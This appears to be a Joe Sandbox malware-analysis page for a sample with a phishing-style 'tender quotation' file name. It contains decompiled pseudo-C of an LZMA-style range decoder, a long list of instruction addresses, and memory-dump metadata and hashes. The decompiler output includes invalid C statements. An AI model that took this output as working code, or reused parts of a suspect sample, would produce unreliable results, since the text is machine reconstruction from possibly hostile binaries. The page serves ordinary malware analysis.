          												__ax =  *__esi;
          												__edi = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													__cx = __ax >> 5;
          													__eax = __eax - __ecx;
          													__edx = __edx + 1;
          													__eflags = __edx;
          													 *__esi = __ax;
          													 *(__ebp - 0x50) = __edx;
          												} else {
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edi;
          													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													goto L148;
          												} else {
          													goto L146;
          												}
          											case 0x19:
          												__eflags = __ebx - 4;
          												if(__ebx < 4) {
          													 *(__ebp - 0x2c) = __ebx;
          													L119:
          													_t393 = __ebp - 0x2c;
          													 *_t393 =  *(__ebp - 0x2c) + 1;
          													__eflags =  *_t393;
          													L120:
          													__eax =  *(__ebp - 0x2c);
          													__eflags = __eax;
          													if(__eax == 0) {
          														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
          														goto L170;
          													}
          													__eflags = __eax -  *(__ebp - 0x60);
          													if(__eax >  *(__ebp - 0x60)) {
          														goto L171;
          													}
          													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
          													__eax =  *(__ebp - 0x30);
          													_t400 = __ebp - 0x60;
          													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
          													__eflags =  *_t400;
          													goto L123;
          												}
          												__ecx = __ebx;
          												__eax = __ebx;
          												__ecx = __ebx >> 1;
          												__eax = __ebx & 0x00000001;
          												__ecx = (__ebx >> 1) - 1;
          												__al = __al | 0x00000002;
          												__eax = (__ebx & 0x00000001) << __cl;
          												__eflags = __ebx - 0xe;
          												 *(__ebp - 0x2c) = __eax;
          												if(__ebx >= 0xe) {
          													__ebx = 0;
          													 *(__ebp - 0x48) = __ecx;
          													L102:
          													__eflags =  *(__ebp - 0x48);
          													if( *(__ebp - 0x48) <= 0) {
          														__eax = __eax + __ebx;
          														 *(__ebp - 0x40) = 4;
          														 *(__ebp - 0x2c) = __eax;
          														__eax =  *(__ebp - 4);
          														__eax =  *(__ebp - 4) + 0x644;
          														__eflags = __eax;
          														L108:
          														__ebx = 0;
          														 *(__ebp - 0x58) = __eax;
          														 *(__ebp - 0x50) = 1;
          														 *(__ebp - 0x44) = 0;
          														 *(__ebp - 0x48) = 0;
          														L112:
          														__eax =  *(__ebp - 0x40);
          														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
          															_t391 = __ebp - 0x2c;
          															 *_t391 =  *(__ebp - 0x2c) + __ebx;
          															__eflags =  *_t391;
          															goto L119;
          														}
          														__eax =  *(__ebp - 0x50);
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          														__eax =  *(__ebp - 0x58);
          														__esi = __edi + __eax;
          														 *(__ebp - 0x54) = __esi;
          														__ax =  *__esi;
          														__ecx = __ax & 0x0000ffff;
          														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
          														__eflags =  *(__ebp - 0xc) - __edx;
          														if( *(__ebp - 0xc) >= __edx) {
          															__ecx = 0;
          															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
          															__ecx = 1;
          															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
          															__ebx = 1;
          															__ecx =  *(__ebp - 0x48);
          															__ebx = 1 << __cl;
          															__ecx = 1 << __cl;
          															__ebx =  *(__ebp - 0x44);
          															__ebx =  *(__ebp - 0x44) | __ecx;
          															__cx = __ax;
          															__cx = __ax >> 5;
          															__eax = __eax - __ecx;
          															__edi = __edi + 1;
          															__eflags = __edi;
          															 *(__ebp - 0x44) = __ebx;
          															 *__esi = __ax;
          															 *(__ebp - 0x50) = __edi;
          														} else {
          															 *(__ebp - 0x10) = __edx;
          															0x800 = 0x800 - __ecx;
          															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          															 *__esi = __dx;
          														}
          														__eflags =  *(__ebp - 0x10) - 0x1000000;
          														if( *(__ebp - 0x10) >= 0x1000000) {
          															L111:
          															_t368 = __ebp - 0x48;
          															 *_t368 =  *(__ebp - 0x48) + 1;
          															__eflags =  *_t368;
          															goto L112;
          														} else {
          															goto L109;
          														}
          													}
          													__ecx =  *(__ebp - 0xc);
          													__ebx = __ebx + __ebx;
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
          													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          													 *(__ebp - 0x44) = __ebx;
          													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
          														__ecx =  *(__ebp - 0x10);
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          														__ebx = __ebx | 0x00000001;
          														__eflags = __ebx;
          														 *(__ebp - 0x44) = __ebx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														L101:
          														_t338 = __ebp - 0x48;
          														 *_t338 =  *(__ebp - 0x48) - 1;
          														__eflags =  *_t338;
          														goto L102;
          													} else {
          														goto L99;
          													}
          												}
          												__edx =  *(__ebp - 4);
          												__eax = __eax - __ebx;
          												 *(__ebp - 0x40) = __ecx;
          												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
          												goto L108;
          											case 0x1a:
          												L56:
          												__eflags =  *(__ebp - 0x64);
          												if( *(__ebp - 0x64) == 0) {
          													 *(__ebp - 0x88) = 0x1a;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x68);
          												__al =  *(__ebp - 0x5c);
          												__edx =  *(__ebp - 8);
          												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          												 *( *(__ebp - 0x68)) = __al;
          												__ecx =  *(__ebp - 0x14);
          												 *(__ecx +  *(__ebp - 8)) = __al;
          												__eax = __ecx + 1;
          												__edx = 0;
          												_t192 = __eax %  *(__ebp - 0x74);
          												__eax = __eax /  *(__ebp - 0x74);
          												__edx = _t192;
          												goto L80;
          											case 0x1b:
          												L76:
          												__eflags =  *(__ebp - 0x64);
          												if( *(__ebp - 0x64) == 0) {
          													 *(__ebp - 0x88) = 0x1b;
          													goto L170;
          												}
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__edx =  *(__ebp - 8);
          												__cl =  *(__eax + __edx);
          												__eax =  *(__ebp - 0x14);
          												 *(__ebp - 0x5c) = __cl;
          												 *(__eax + __edx) = __cl;
          												__eax = __eax + 1;
          												__edx = 0;
          												_t275 = __eax %  *(__ebp - 0x74);
          												__eax = __eax /  *(__ebp - 0x74);
          												__edx = _t275;
          												__eax =  *(__ebp - 0x68);
          												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          												_t284 = __ebp - 0x64;
          												 *_t284 =  *(__ebp - 0x64) - 1;
          												__eflags =  *_t284;
          												 *( *(__ebp - 0x68)) = __cl;
          												L80:
          												 *(__ebp - 0x14) = __edx;
          												goto L81;
          											case 0x1c:
          												while(1) {
          													L123:
          													__eflags =  *(__ebp - 0x64);
          													if( *(__ebp - 0x64) == 0) {
          														break;
          													}
          													__eax =  *(__ebp - 0x14);
          													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          													__eflags = __eax -  *(__ebp - 0x74);
          													if(__eax >=  *(__ebp - 0x74)) {
          														__eax = __eax +  *(__ebp - 0x74);
          														__eflags = __eax;
          													}
          													__edx =  *(__ebp - 8);
          													__cl =  *(__eax + __edx);
          													__eax =  *(__ebp - 0x14);
          													 *(__ebp - 0x5c) = __cl;
          													 *(__eax + __edx) = __cl;
          													__eax = __eax + 1;
          													__edx = 0;
          													_t414 = __eax %  *(__ebp - 0x74);
          													__eax = __eax /  *(__ebp - 0x74);
          													__edx = _t414;
          													__eax =  *(__ebp - 0x68);
          													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
          													__eflags =  *(__ebp - 0x30);
          													 *( *(__ebp - 0x68)) = __cl;
          													 *(__ebp - 0x14) = _t414;
          													if( *(__ebp - 0x30) > 0) {
          														continue;
          													} else {
          														L81:
          														 *(__ebp - 0x88) = 2;
          														goto L1;
          													}
          												}
          												 *(__ebp - 0x88) = 0x1c;
          												goto L170;
          										}
          									}
          									L171:
          									_t535 = _t534 | 0xffffffff;
          									goto L172;
          								}
          							}
          						}
          					}
          					goto L1;
          				}
          			}













          0x00000000
          0x0040711c
          0x0040711c
          0x00407120
          0x0040712d
          0x00407137
          0x00000000
          0x00407122
          0x00407122
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00407056
          0x00407059
          0x004073cb
          0x004073cb
          0x004073cb
          0x004073ce
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x0040741c
          0x00407420
          0x004075cf
          0x004075e5
          0x004075ed
          0x004075f4
          0x004075f6
          0x004075fd
          0x00407601
          0x00407601
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743e
          0x00407441
          0x00407441
          0x00407447
          0x00407447
          0x00406be3
          0x00406be3
          0x00406be3
          0x00406bec
          0x00000000
          0x00000000
          0x00406bf2
          0x00000000
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c5c
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x00000000
          0x0040754e
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x004073cb
          0x004073cb
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d5f
          0x00406d61
          0x00406d64
          0x00406dd5
          0x00406dd8
          0x00406ddb
          0x00406de2
          0x00406dec
          0x004073cb
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x004073cb
          0x00406d66
          0x00406d6a
          0x00406d6d
          0x00406d6f
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d87
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406d9c
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406dac
          0x00406daf
          0x00406dcd
          0x00406dcf
          0x00000000
          0x00406db1
          0x00406db1
          0x00406db4
          0x00406db7
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00000000
          0x00406dc8
          0x00000000
          0x00406ffe
          0x00407002
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x004073cb
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x00000000
          0x00407068
          0x0040706c
          0x0040708f
          0x00407092
          0x00407095
          0x0040709f
          0x0040706e
          0x0040706e
          0x00407071
          0x00407074
          0x00407077
          0x00407084
          0x00407087
          0x00407087
          0x004073cb
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x00000000
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00406df8
          0x00406df8
          0x00406dfc
          0x00407569
          0x00000000
          0x00407569
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00406e1d
          0x00406e1d
          0x00406e20
          0x00406e23
          0x00000000
          0x00000000
          0x00406e29
          0x00406e2f
          0x00000000
          0x00000000
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e60
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e93
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406e9c
          0x00406ea3
          0x00406ea6
          0x00000000
          0x00406eac
          0x00000000
          0x00406eac
          0x00000000
          0x00406eb1
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407395
          0x00407399
          0x004073bb
          0x004073be
          0x004073c8
          0x004073cb
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x004073cb
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
          0x00407489
          0x00000000
          0x00407489
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00407447
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00407447
          0x00407447
          0x00000000
          0x0040744d
          0x00407447
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074eb
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x0040751d
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x0040710a
          0x0040710a
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00407447
          0x004073ce
          0x004073cb
          0x00000000
          0x00407120

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
          • Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
          • Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
          • Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 98%
          			E00407068() {
          				unsigned short _t531;
          				signed int _t532;
          				void _t533;
          				signed int _t534;
          				signed int _t535;
          				signed int _t565;
          				signed int _t568;
          				signed int _t589;
          				signed int* _t606;
          				void* _t613;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t613 - 0x40) != 0) {
          						 *(_t613 - 0x84) = 0xa;
          						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
          					} else {
          						 *(__ebp - 0x84) = 9;
          						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          					}
          					while(1) {
          						 *(_t613 - 0x54) = _t606;
          						while(1) {
          							L133:
          							_t531 =  *_t606;
          							_t589 = _t531 & 0x0000ffff;
          							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
          							if( *(_t613 - 0xc) >= _t565) {
          								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
          								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
          								 *(_t613 - 0x40) = 1;
          								_t532 = _t531 - (_t531 >> 5);
          								 *_t606 = _t532;
          							} else {
          								 *(_t613 - 0x10) = _t565;
          								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          								 *_t606 = (0x800 - _t589 >> 5) + _t531;
          							}
          							if( *(_t613 - 0x10) >= 0x1000000) {
          								goto L139;
          							}
          							L137:
          							if( *(_t613 - 0x6c) == 0) {
          								 *(_t613 - 0x88) = 5;
          								L170:
          								_t568 = 0x22;
          								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
          								_t535 = 0;
          								L172:
          								return _t535;
          							}
          							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
          							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          							L139:
          							_t533 =  *(_t613 - 0x84);
          							while(1) {
          								 *(_t613 - 0x88) = _t533;
          								while(1) {
          									L1:
          									_t534 =  *(_t613 - 0x88);
          									if(_t534 > 0x1c) {
          										break;
          									}
          									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
          										case 0:
          											if( *(_t613 - 0x6c) == 0) {
          												goto L170;
          											}
          											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          											_t534 =  *( *(_t613 - 0x70));
          											if(_t534 > 0xe1) {
          												goto L171;
          											}
          											_t538 = _t534 & 0x000000ff;
          											_push(0x2d);
          											asm("cdq");
          											_pop(_t570);
          											_push(9);
          											_pop(_t571);
          											_t609 = _t538 / _t570;
          											_t540 = _t538 % _t570 & 0x000000ff;
          											asm("cdq");
          											_t604 = _t540 % _t571 & 0x000000ff;
          											 *(_t613 - 0x3c) = _t604;
          											 *(_t613 - 0x1c) = (1 << _t609) - 1;
          											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
          											_t612 = (0x300 << _t604 + _t609) + 0x736;
          											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
          												L10:
          												if(_t612 == 0) {
          													L12:
          													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
          													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          													goto L15;
          												} else {
          													goto L11;
          												}
          												do {
          													L11:
          													_t612 = _t612 - 1;
          													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
          												} while (_t612 != 0);
          												goto L12;
          											}
